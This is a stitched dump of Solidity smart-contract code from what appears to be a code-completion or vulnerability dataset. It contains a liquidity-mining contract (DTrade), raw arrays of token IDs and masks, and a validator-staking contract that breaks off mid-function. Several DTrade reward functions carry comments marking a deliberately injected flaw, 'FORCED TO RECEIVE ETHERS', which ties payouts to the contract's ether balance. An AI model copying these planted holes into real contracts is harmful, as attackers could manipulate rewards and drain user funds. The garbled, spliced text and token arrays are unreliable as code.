uint256 bonus1;
uint256 bonus2;
if(supers.length>0){
uint256 bonus = totalReward.mul(30).div(100);
rewards[supers[0]] = bonus;
// TransferHelper.safeTransfer(token,supers[0],bonus);
leftReward = leftReward.sub(bonus);
bonus0=bonus;
}
if(supers.length>1){
uint256 bonus = totalReward.mul(15).div(100);
rewards[supers[1]] = bonus;
// TransferHelper.safeTransfer(token,supers[1],bonus);
leftReward = leftReward.sub(bonus);
bonus1=bonus;
}
if(supers.length>2){
uint256 preReward = leftReward.div(supers.length.sub(2));
for(uint256 i=2;i<supers.length ;i++){
// TransferHelper.safeTransfer(token,supers[i],preReward);
rewards[supers[i]] = preReward;
leftReward = leftReward.sub(preReward);
}
bonus2=preReward;
}
if(leftReward>0){
// TransferHelper.safeTransfer(token,topAddr,leftReward);
rewards[topAddr] = leftReward;
}
return true;
}
}
contract TestRefs {
Refers public refs;
constructor(address _ref) public {
refs = Refers(_ref);
}
function testReward(uint256 amount) public {
refs.rewards2Super(msg.sender,amount);
}
}
contract DTrade is ManagerUpgradeable{
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping(address => mapping(address =>uint256 )) public uniswapLiquids;//(liquid.addr=>(user.address=>amount)
mapping(address => address) public liquidsMap;
mapping(address => uint256)public liquidPools;
mapping(address => uint256) public profits4DFK1;
mapping(address => uint256) public bonusWithdraw;
mapping(address => uint256) public checkpointHistory;
mapping(address => uint256) public joinTime;
address [] public liquidPairs;
uint256 public peroid_total_bonus = 90000*(10 **18);
uint256 public peroid_left_bonus = 0;
uint256 public bonus_per_block = 9*(10 **18);
uint256 public bonus_percent_LP = 10;
uint256 public checkpoint_number = 0;
// uint256 totalProfitDFK1 = 0;
uint256 public totalLiquids;
uint256 public totalMint;
DFKImplHelper public dfk1Helper;
uint256 public peroid_mined_coin = 0;
address public token1;
uint256 public totalFactor = 0;
address public liquidToken;
DFKII public dfkii;
constructor(address _token1,address []memory _mans) public ManagerUpgradeable(_mans){
token1 = _token1;
checkpoint_number = block.number+5*60;
bytes memory bytecode = type(DTradeLiquids).creationCode;
bytes32 salt = keccak256(abi.encodePacked(msg.sender, token1));
address _swapV2;
assembly {
_swapV2 := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
liquidToken = _swapV2;
}
function setDFKII(address _dfkii) public onlyManager {
dfkii = DFKII(_dfkii);
}
function setDfk1Helper(address _dfk1Helper) public onlyManager {
dfk1Helper = DFKImplHelper(_dfk1Helper);
}
function nextPeroid(uint256 total,uint256 perblock,uint256 percentLP) public onlyManager {
totalMint = totalMint.add(peroid_total_bonus);
peroid_total_bonus = total;
bonus_per_block = perblock;
bonus_percent_LP = percentLP;
peroid_left_bonus = total;
peroid_mined_coin = 0;
checkpoint_number = block.number;
joinTime[address(0x0)] = block.number;
}
function addUniswapPair(address uniAddr,uint256 factor) public onlyManager {
if(liquidsMap[uniAddr]==address(0x0)){
uniswapLiquids[uniAddr][address(0x0)]=factor;
totalFactor = totalFactor.add(factor);
// uniswapLiquids[address(0x0)][address(0x0)] = uniswapLiquids[address(0x0)][address(0x0)].add(factor);
liquidsMap[uniAddr] = uniAddr;
liquidPairs.push(uniAddr);
}
}
function removeUniswapPair(address uniAddr) public onlyManager {
totalFactor = totalFactor.sub(uniswapLiquids[uniAddr][address(0x0)]);
uniswapLiquids[uniAddr][address(0x0)]=0;
}
function addDfkPair(address uniAddr,uint256 factor) public onlyManager {
if(liquidsMap[uniAddr]==address(0x0)){
uniswapLiquids[uniAddr][address(0x0)]=factor;
totalFactor = totalFactor.add(factor);
liquidsMap[uniAddr] = uniAddr;
liquidPairs.push(uniAddr);
}
}
function removeDfkPair(address uniAddr) public onlyManager {
totalFactor = totalFactor.sub(uniswapLiquids[uniAddr][address(0x0)]);
uniswapLiquids[uniAddr][address(0x0)]=0;
}
function addLiquid(address uniAddr,uint256 amountUL) public {
require(uniswapLiquids[uniAddr][address(0x0)]>0);//factor must large than zero
uint256 realBonus=calcBonus(msg.sender);
if(realBonus>0)
{
dfkii._mint(msg.sender,realBonus);
}
TransferHelper.safeTransferFrom(uniAddr,msg.sender,address(this),amountUL);
liquidPools[uniAddr] = liquidPools[uniAddr].add(amountUL);
uniswapLiquids[uniAddr][msg.sender]=uniswapLiquids[uniAddr][msg.sender].add(amountUL);
uint256 mine_liquid=amountUL.mul(uniswapLiquids[uniAddr][address(0x0)]);
// totalLiquids = totalLiquids.add(mine_liquid);
DTradeLiquids(liquidToken)._mint(msg.sender,mine_liquid);
joinTime[msg.sender] = block.number;
bonusWithdraw[msg.sender] = 0;
}
function removeLiquid(address uniAddr,uint256 amountUL) public {
require(uniswapLiquids[uniAddr][msg.sender]>=amountUL,'amountUL is not enough');
uint256 realBonus=calcBonus(msg.sender);
if(realBonus>0)
{
dfkii._mint(msg.sender,realBonus);
}
TransferHelper.safeTransfer(address(uniAddr),msg.sender,amountUL);
uint256 mine_liquid=amountUL.mul(uniswapLiquids[uniAddr][address(0x0)]);
DTradeLiquids(liquidToken)._burn(msg.sender,mine_liquid);
uniswapLiquids[uniAddr][msg.sender]=uniswapLiquids[uniAddr][msg.sender].sub(amountUL);
if(address(this).balance==0){ //inject FORCED TO RECEIVE ETHERS
joinTime[msg.sender] = 0;
}
else
{
joinTime[msg.sender] = block.number;
}
bonusWithdraw[msg.sender] = 0;
}
function mintCoin(address user) public view returns (uint256){
if(address(this).balance==0){ //inject FORCED TO RECEIVE ETHERS
return 0;
}
uint256 checkTime = checkpoint_number;
if(joinTime[user]>checkpoint_number){
checkTime = joinTime[user];
}
uint256 currentBonus = bonus_per_block.mul(block.number.sub(checkTime));
if(currentBonus>peroid_left_bonus){
currentBonus = peroid_left_bonus;
}
//
return currentBonus;
}
modifier onlyJoin {
require(joinTime[msg.sender] > 0,"onlyJoin time gt 0");
_;
}
function calcDFK1Bonus(address addr) public view returns(uint256){
if(address(this).balance == 0){ //inject FORCED TO RECEIVE ETHERS
return 0;
}
return dfk1Helper.calcProfitForFee(addr,mintCoin(address(0x0)).mul(bonus_percent_LP).div(100),profits4DFK1[addr]);
}
function withdrawDFK1Bonus() public onlyJoin returns(uint256){
uint256 bonus=calcDFK1Bonus(msg.sender);
if(bonus>0){
profits4DFK1[msg.sender] = profits4DFK1[msg.sender].add(bonus);
// totalProfitDFK1 = totalProfitDFK1.sub(bonus);
// TransferHelper.safeTransfer(token1,msg.sender,bonus);
dfkii._mint(msg.sender,bonus);
return bonus;
}else{
return 0;
}
}
function withdrawBonus() public onlyJoin returns(uint256){
uint256 realBonus=calcBonus(msg.sender);
if(realBonus>0)
{
bonusWithdraw[msg.sender] = bonusWithdraw[msg.sender].add(realBonus);
dfkii._mint(msg.sender,realBonus);
joinTime[msg.sender] = block.number;
bonusWithdraw[msg.sender] = 0;
}
return realBonus;
}
function calcBonus(address addr) public view returns (uint256){
if(address(this).balance == 0){ //inject FORCED TO RECEIVE ETHERS
return 0;
}
if(joinTime[addr]<block.number){
return (ERC20(liquidToken).balanceOf(addr)).div(ERC20(liquidToken).totalSupply()).mul(mintCoin(addr));
}else{
return 0;
}
}
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
// function safeTransferETH(address to, uint value) internal {
// (bool success,bt) = to.call{value:value}(new bytes(0));
// require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
// }
} | uint256 profit_times = now.sub(profit_time).div(dfkImpl.profit_period()); | if(profit_time < dfkImpl.cleanup_time()){
return 0;
uint256 profit = totalFee.mul(staking_value).div(dfkImpl._totalStaking());
if(profit>lastFetchFee){
return profit.sub(lastFetchFee);
return 0;
}
}
| 5,502,343 | [
1,
11890,
5034,
282,
450,
7216,
67,
8293,
273,
2037,
18,
1717,
12,
685,
7216,
67,
957,
2934,
2892,
12,
2180,
79,
2828,
18,
685,
7216,
67,
6908,
10663,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
309,
12,
685,
7216,
67,
957,
411,
3013,
79,
2828,
18,
16732,
67,
957,
10756,
95,
7010,
5411,
327,
374,
31,
203,
5411,
2254,
5034,
282,
450,
7216,
273,
225,
2078,
14667,
18,
16411,
12,
334,
6159,
67,
1132,
2934,
2892,
12,
2180,
79,
2828,
6315,
4963,
510,
6159,
10663,
203,
5411,
309,
12,
685,
7216,
34,
2722,
5005,
14667,
15329,
203,
7734,
327,
450,
7216,
18,
1717,
12,
2722,
5005,
14667,
1769,
203,
7734,
327,
374,
31,
203,
5411,
289,
203,
2398,
203,
540,
203,
3639,
289,
203,
540,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xe6F4d9711121e5304b30aC2Aae57E3b085ad3c4d/sources/src/libraries/external/LenderActions.sol | [WAD] Constraint on deposit in quote token.
| uint256 depositConstraint; | 3,630,218 | [
1,
63,
59,
1880,
65,
10770,
603,
443,
1724,
316,
3862,
1147,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
5034,
443,
1724,
5806,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
RE-Cent Validators Smart Contract v.1.0.0
Author: Giannis Zarifis <[email protected]>
*/
pragma solidity ^0.5.0;
import "./RecentBlockchain.sol";
//This Smart Contract used by providing the Validators on each Epoch. ALso implements the Validators election mechanism by Witnesses and Service providers
//Inherits from RecentBlockchain base Contract
contract RecentValidators is RecentBlockchain {
constructor(address[] memory initial) public {
systemAddress = 0xffffFFFfFFffffffffffffffFfFFFfffFFFfFFfE;
for (uint256 i = 0; i < initial.length; i++) {
status[1][initial[i]].isIn = true;
status[1][initial[i]].index = i;
}
validators[1] = initial;
}
//System address allowed to call reward method
address public systemAddress;
//Notify for Validators list changed
event ChangeFinalized(address[] currentSet);
//Validators change request finalized
bool public finalized;
// Structure of Validator status and Index in list
struct AddressStatus {
bool isIn;
uint256 index;
}
// Notify for maliciuos behaviour of a Validator
event Report(
address indexed reporter,
address indexed reported,
bool indexed malicious
);
//Accept reports for Validator when Report Block > Current Block - recentBlocks
uint256 public recentBlocks = 20;
// Current list of addresses entitled to participate in the consensus(Active Validators)
mapping(uint256 => address[]) public validators;
//mapping(uint=> address[]) public pending;
//List of Candidates of an Epoch
mapping(uint256 => address[]) public candidates;
//The current status of a Validator for an Epoch
mapping(uint256 => mapping(address => AddressStatus)) public status;
//Total staking funds of a Validator for an Epoch including Witnesses and Service Providers staking funds
mapping(uint256 => mapping(address => uint256))
public validatorTotalStakingFunds;
//Validator staking funds for an Epoch
mapping(uint256 => mapping(address => uint256))
public validatorStakingFunds;
//Reward for Witnesses locked from a Validator for an Epoch
mapping(uint256 => mapping(address => uint256))
public validatorWitnessesFunds;
//Free service provided by Service Providers for a Validator and Epoch
mapping(uint256 => mapping(address => uint256)) public validatorFreeMbs;
//Total Witnesses staking funds for a Validator and Epoch
mapping(uint256 => mapping(address => uint256))
public validatorTotalWitnessesFunds;
//Funds locked by a Witness for Validator and Epoch
mapping(uint256 => mapping(address => mapping(address => uint256)))
public witnessStakingFundsForValidator;
//Funds locked by a Service Provider for and Validator and Epoch
mapping(uint256 => mapping(address => mapping(address => uint256)))
public freeServiceProvidersFundsForValidator;
//Free service in Mb provided by Service Provider for a Validator and Epoch
mapping(uint256 => mapping(address => mapping(address => uint256)))
public freeServiceProvidersFreeMbs;
//List of Validator Witnesses for an EPoch
mapping(uint256 => mapping(address => address[])) public validatorWitnesses;
//List of Validator Service Providers for an Epoch
mapping(uint256 => mapping(address => address[]))
public validatorFreeServiceProviders;
//Is Validator when Status isIn and in List and Validator address match with addrees in list
modifier isValidator(address addr) {
uint256 epoch = getCurrentEpoch();
// bool isIn = status[epoch][addr].isIn;
// uint index = status[epoch][addr].index;
require(
status[epoch][addr].isIn &&
status[epoch][addr].index < validators[epoch].length &&
validators[epoch][status[epoch][addr].index] == addr
);
_;
}
//Not a Validator when not in list
modifier isNotValidator(address addr) {
uint256 epoch = getCurrentEpoch();
require(!status[epoch][addr].isIn);
_;
}
//Caller is system address
modifier onlySystem() {
require(msg.sender == systemAddress);
_;
}
//Is recent Block number
modifier isRecent(uint256 blockNumber) {
require(
block.number <= blockNumber + recentBlocks &&
blockNumber < block.number
);
_;
}
modifier whenFinalized() {
require(finalized);
_;
}
modifier whenNotFinalized() {
require(!finalized);
_;
}
//Notify for Validator addtition
event ValidatorAdded(uint256 indexed epoch, address indexed validator);
//Notify for Validator removal
event ValidatorRemoved(uint256 indexed epoch, address indexed validator);
//Notity for Validator proposal
event ValidatorProposed(
uint256 indexed epoch,
address indexed validator,
uint256 stakingFunds,
uint256 witnessesFunds
);
//Notify for Validator voted by a Witness
event ValidatorVotedByWitness(
uint256 indexed epoch,
address indexed validator,
address indexed witness,
uint256 amount
);
//Motify for Validator voted by a Service Pro
event ValidatorVotedByServiceProvider(
uint256 indexed epoch,
address indexed validator,
address indexed serviceProvider,
uint256 amount
);
//Return the list of active Validators for an EPoch
function getCandidates(uint256 epoch)
public
view
returns (address[] memory)
{
return candidates[epoch];
}
//Return the list of Service Providers voted for a Validator and Epoch
function getValidatorFreeServiceProviders(uint256 epoch, address candidate)
public
view
returns (address[] memory)
{
return validatorFreeServiceProviders[epoch][candidate];
}
//Return the list of Witnesses voted for a Validator and Epoch
function getValidatorWitnesses(uint256 epoch, address candidate)
public
view
returns (address[] memory)
{
return validatorWitnesses[epoch][candidate];
}
//Validator proposed
function validatorVoted(
uint256 epoch,
uint256 amount,
address validator,
uint256 freeMbs
) private {
//If new Candidate then push in list
if (validatorTotalStakingFunds[epoch][validator] == 0) {
candidates[epoch].push(validator);
}
//Add the amount to total staking funds
validatorTotalStakingFunds[epoch][validator] += amount;
//Add freeMbs to total free Mbs
validatorFreeMbs[epoch][validator] += freeMbs;
//If not in list or in list but inactive
if (!status[epoch][validator].isIn) {
// if length of validators < max allowed number
if (validators[epoch].length < maximumValidatorsNumber) {
//Add to Validators list
validators[epoch].push(validator);
//Setup the status
status[epoch][validator].isIn = true;
status[epoch][validator].index = validators[epoch].length;
} else {
//Iterate to find any validator with lower total staking funds
for (uint256 i = 0; i < validators[epoch].length; i++) {
address existingValidator = validators[epoch][i];
//If found replace with proposed
if (
status[epoch][existingValidator].isIn &&
validatorTotalStakingFunds[epoch][existingValidator] <
validatorTotalStakingFunds[epoch][msg.sender]
) {
status[epoch][existingValidator].isIn = false;
status[epoch][validator].isIn = true;
status[epoch][validator].index = i;
validators[epoch][i] = msg.sender;
emit ValidatorRemoved(epoch, existingValidator);
break;
}
}
}
//If propose results to Validator addition to list then notify
if (status[epoch][validator].isIn) {
emit ValidatorAdded(epoch, validator);
}
}
}
//Calculate the required staking funds for a Candidate
function getRequiredStakingFunds(uint256 epoch)
public
view
returns (uint256)
{
return
epochBlocks.mulByFraction(
calculateReward(epoch),
maximumValidatorsNumber
);
}
//Benign percent penalty
mapping(uint256 => uint256) public benignPercent;
//Block reward for an Epoch
mapping(uint256 => uint256) public epochReward;
//Request as Candidate
//stakingFunds is the amount required to be allocated for staking
//witnessesFunds is the amount provided to Witnesses
function validatorAsCandidate(uint256 stakingFunds, uint256 witnessesFunds)
public
payable
{
//Target Epoch is the next Epoch
uint256 epoch = getCurrentEpoch() + 1;
//Check the Tx amount equals to stakingFunds + witnessesFunds
require(
stakingFunds + witnessesFunds == msg.value,
"Transfered amount should be equal to stakingFunds + witnessesFunds"
);
//Check that election is still open
require(
block.number < getCurrentValidatorsElectionEnd(),
"Relayers election period has passed"
);
//Check that required staking funds equals with provided
uint256 requiredStaking = getRequiredStakingFunds(epoch);
require(requiredStaking == stakingFunds, "Insufficient stakingFunds");
//Calculate reword for target Epoch and penalty on Benign behavior
epochReward[epoch] = calculateReward(epoch);
benignPercent[epoch] = epochReward[epoch].mul(100).div(requiredStaking);
//Setup staking funds and funds for Witnesses
validatorStakingFunds[epoch][msg.sender] += stakingFunds;
validatorWitnessesFunds[epoch][msg.sender] += witnessesFunds;
//Try to add Candidate to Validators list for the target Epoch
validatorVoted(epoch, msg.value, msg.sender, 0);
//Notify for the new Candidate
emit ValidatorProposed(epoch, msg.sender, stakingFunds, witnessesFunds);
}
//The penalty percent for Witnesses in case of Validator benign behavior
mapping(uint256 => mapping(address => uint256))
public benignPercentPenaltyForWitnesses;
//Witness vote a Candidate
//validator is the Candidate
function voteValidatorAsWitness(address payable validator) public payable {
//Target Epoch is the next Epoch
uint256 epoch = getCurrentEpoch() + 1;
//Check that election is still open
require(
block.number < getCurrentValidatorsElectionEnd(),
"Relayers election period has passed"
);
//Check that Candidate exists
require(
validatorStakingFunds[epoch][validator] > 0,
"Validator not found"
);
//The Witness staking amount should be greater then the Witness wallet balance * witnessRequiredBalancePercent %
require(
msg.sender.balance.mulByFraction(
witnessRequiredBalancePercent,
100
) <= msg.value,
"Invalid Witness balance. Should be less than witnessRequiredBalancePercent"
);
//If a new Witness for Candidate add to list of Candidate Witnesses
if (
witnessStakingFundsForValidator[epoch][msg.sender][validator] == 0
) {
validatorWitnesses[epoch][validator].push(msg.sender);
}
//Setup the total staking funds for the Candidate and target Epoch
witnessStakingFundsForValidator[epoch][msg.sender][validator] += msg
.value;
//Setup total Witnesses staking funds for the Candidate and target Epoch
validatorTotalWitnessesFunds[epoch][validator] += msg.value;
//Calculate the penalty for Witnesses when Validator has benign behavior
benignPercentPenaltyForWitnesses[epoch][validator] = validatorTotalWitnessesFunds[epoch][validator]
.mulByFraction(benignPercent[epoch], 100);
//Try to add Candidate to Validators list for the target Epoch
validatorVoted(epoch, msg.value, validator, 0);
//Notify for Witness vote
emit ValidatorVotedByWitness(epoch, validator, msg.sender, msg.value);
}
//Service provider vote for a Candidate
function voteValidatorAsServiceProvider(
address payable validator,
uint256 freeContentInMb
) public payable {
//Target Epoch is the next Epoch
uint256 epoch = getCurrentEpoch() + 1;
//Check that election is still open
require(
block.number < getCurrentValidatorsElectionEnd(),
"Relayers election period has passed"
);
//Check that Candidate exists
require(
validatorStakingFunds[epoch][validator] > 0,
"Validator not found"
);
//Check that free content provided * price per Mb equals Tx amount
require(
freeContentInMb.mul(pricePerMb) == msg.value,
"Transfered amount should be freeContentInMb * pricePerMb"
);
//If a new Service provider for Candidate add to list of Candidate Service providers
if (
freeServiceProvidersFundsForValidator[epoch][msg
.sender][validator] == 0
) {
validatorFreeServiceProviders[epoch][validator].push(msg.sender);
}
//Setup the total staking funds for the Candidate and target Epoch
freeServiceProvidersFundsForValidator[epoch][msg
.sender][validator] += msg.value;
//Setup the free content for the Candidate and target Epoch
freeServiceProvidersFreeMbs[epoch][msg
.sender][validator] += freeContentInMb;
//Try to add Candidate to Validators list for the target Epoch
validatorVoted(epoch, msg.value, validator, freeContentInMb);
//Notify for Service provider vote
emit ValidatorVotedByServiceProvider(
epoch,
validator,
msg.sender,
msg.value
);
}
//Funs paid to Witnesses per Epoch, Witness, Validator
mapping(uint256 => mapping(address => mapping(address => uint256)))
public validatorWitnessPaidAmount;
//Notify for Witness payment from Validator witnessesFunds
event WitnessPaid(
uint256 indexed epoch,
address indexed witness,
address indexed validator,
uint256 amount
);
//Request payment from a Validator witnessesFunds for an Epoch
function witnessPaymentRequest(uint256 epoch, address validator) public {
uint256 currentEpoch = getCurrentEpoch();
//Requested Epoch should be <= Current Epoch
require(
currentEpoch >= epoch,
"Current epoch should be greater or equal than the requested"
);
//Check that Witness exists in Witnesses list for the Validator
require(
witnessStakingFundsForValidator[epoch][msg.sender][validator] > 0,
"Not a valid witness"
);
//Check that Witness is unpaid
require(
validatorWitnessPaidAmount[epoch][msg.sender][validator] == 0,
"Already paid"
);
//Check that Validator is in list of Validators for requested Epoch
require(status[epoch][validator].isIn, "Validator not found");
//Calculate the amount to be paid to Witness proportional to his staking amount
uint256 amount = validatorWitnessesFunds[epoch][validator]
.mulByFraction(
witnessStakingFundsForValidator[epoch][msg.sender][validator],
validatorTotalWitnessesFunds[epoch][validator]
);
//Setup the amount paid from Validator to Witness
validatorWitnessPaidAmount[epoch][msg.sender][validator] = amount;
//Tranfer to Witness address
msg.sender.transfer(amount);
//Notify for payment
emit WitnessPaid(epoch, msg.sender, validator, amount);
}
//Notify for Witness withdrawal
event WitnessRefunded(
uint256 indexed epoch,
address indexed witness,
address indexed validator,
uint256 amount
);
//Witness withdraw request for reamining funds
function witnessWithdrawRequest(uint256 epoch, address validator) public {
uint256 currentEpoch = getCurrentEpoch();
//Check that there are remaining funds
require(
witnessStakingFundsForValidator[epoch][msg.sender][validator] > 0,
"No remaining funds"
);
//Requested Epoch should be in the past
require(
currentEpoch > epoch,
"Current epoch should be greater than requested"
);
//Calculate the Validator remaining funds percent against the initial staking amount
uint256 percentAvailable = (100 - penaltyPercent[epoch][validator]);
//Calculate the amount for withdraw as remaining Witness staking funds * percentAvailable %
uint256 amount = witnessStakingFundsForValidator[epoch][msg
.sender][validator]
.mulByFraction(percentAvailable, 100);
//Reset the reamining Witness staking funds
witnessStakingFundsForValidator[epoch][msg.sender][validator] = 0;
//Transfer to Witness address
msg.sender.transfer(amount);
//Notify for withdrawal
emit WitnessRefunded(epoch, msg.sender, validator, amount);
}
//Notify for Validator withdrwal
event ValidatorRefunded(
uint256 indexed epoch,
address indexed validator,
uint256 amount
);
//Validator request for any remaining staking funds
function validatorWithdrawRequest(uint256 epoch) public {
uint256 currentEpoch = getCurrentEpoch();
//Check that there are remaining funds
require(
validatorStakingFunds[epoch][msg.sender] > 0,
"No remaining funds"
);
//Requested Epoch should be in the past
require(
currentEpoch > epoch,
"Current epoch should be greater than requested "
);
//Get, reset and transfer the remaining amount
uint256 amount = validatorStakingFunds[epoch][msg.sender];
validatorStakingFunds[epoch][msg.sender] = 0;
msg.sender.transfer(amount);
//Notify for Withdrawal
emit ValidatorRefunded(epoch, msg.sender, amount);
}
//Notify for Service provider withdrawal
event FreeServiceProviderRefunded(
uint256 indexed epoch,
address indexed witness,
address indexed validator,
uint256 amount
);
//Service provider request for any remaining staking funds
function freeServiceProviderWithdrawRequest(
uint256 epoch,
address validator
) public {
uint256 currentEpoch = getCurrentEpoch();
//Check that there are remaining funds
require(
freeServiceProvidersFundsForValidator[epoch][msg
.sender][validator] > 0,
"No remaining funds"
);
//Requested Epoch should be in the past
require(
currentEpoch > epoch,
"Current epoch should be greater than requested "
);
//Get, reset and transfer the remaining amount
uint256 amount = freeServiceProvidersFundsForValidator[epoch][msg
.sender][validator];
freeServiceProvidersFundsForValidator[epoch][msg.sender][validator] = 0;
msg.sender.transfer(amount);
//Notify for Withdrawal
